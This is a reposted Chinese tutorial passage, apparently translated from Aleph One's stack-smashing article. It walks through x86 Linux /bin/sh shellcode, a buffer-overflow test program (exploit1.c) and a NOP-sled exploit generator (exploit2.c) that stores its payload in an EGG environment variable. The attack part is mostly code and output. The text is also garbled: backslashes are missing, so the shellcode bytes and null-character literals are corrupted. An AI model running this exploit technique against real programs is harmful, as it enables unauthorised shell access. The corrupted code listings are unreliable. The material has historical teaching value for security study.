|
 |
推荐文章 |
|
|
|
|
|
|
|
|
|
|
|
我们知道C语言中的字符串以''结尾,strcpy等函数遇到''就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有
''. 下面我们就对它作最后一次改进,去掉其中的'':
原指令: 替换为:
---------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
movl $0x0,0xc(%esi) movb %eax,0x7(%
esi)
movl %eax,0xc(%
esi)
---------------------------------------------
movl $0xb,%eax movb $0xb,%al
---------------------------------------------
OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
---------------------------------------------
void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string "/bin/sh" # 8 bytes
");
}
---------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x
0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxf
f/bin/sh
现在我们可以写我们的试验程序了:
---------------------------------------------
exploit1.c:
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff
/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;
for(i=0;i<strlen(shellcode);i++)
large_string[i]=shellcode[i];
strcpy(buffer,large_string);
}
---------------------------------------------
在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[] 的起始位置,从而保证在BufferOverflow时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入buffer, 因为buffer只有96个字节的空间,所以这时就会发生
Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.
现在我们编译运行一下这个程序:
---------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
---------------------------------------------
OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.
但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用.
---------------------------------------------
4. 实际运用中遇到的问题
在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出
ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了
.
但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题.
幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.
下面就是一个打印堆栈起始地址的程序:
sp.c
--------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x ", get_sp());
}
---------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
---------------------------------------------
上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.
一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一直执行
直至执行到ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可).
低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF
FFFF FFFF FFFF 高端内存
栈顶 89ABCDEF0123456789AB CDEF 0123
4567 89AB CDEF 栈底
buffer ebp ret
a b c
<------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE]
[0xDE][0xDE][0xDE]
^ |
|___________|
现在我们就可以根据这个方法编写我们的攻击程序了
.
exploit2.c
---------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff
/bin/sh";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset= atoi(argv[2]);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory. ");
exit(0);
}
addr=get_sp()-offset;
printf("Using address: 0x%x ", addr);
ptr=buff;
addr_ptr=(long *)ptr;
for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; //
填充猜测的入口地址
for(i=0;i<bsize/2;i++) buff[i]=NOP; //前半部填
充NOP
ptr = buff + ((bsize/2) - (strlen
(shellcode)/2));
for (i=0;i<strlen(shellcode);i++) *(ptr++)
=shellcode[i]; //中间填充Shell Code
buff[bsize-1]='';
memcpy(buff,"EGG=",4); //将生成的字符串保存再
环境变量EGG中.
putenv(buff);
system("/bin/bash");
}
|
|
|
|
|
|
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
|
|
|
|
|
责任编辑: 原点 |
投稿作者: 本站收集 |
|
|
信息来源: 网络 |
录入时间: 2005-5-17 |
|
|
|
| |
|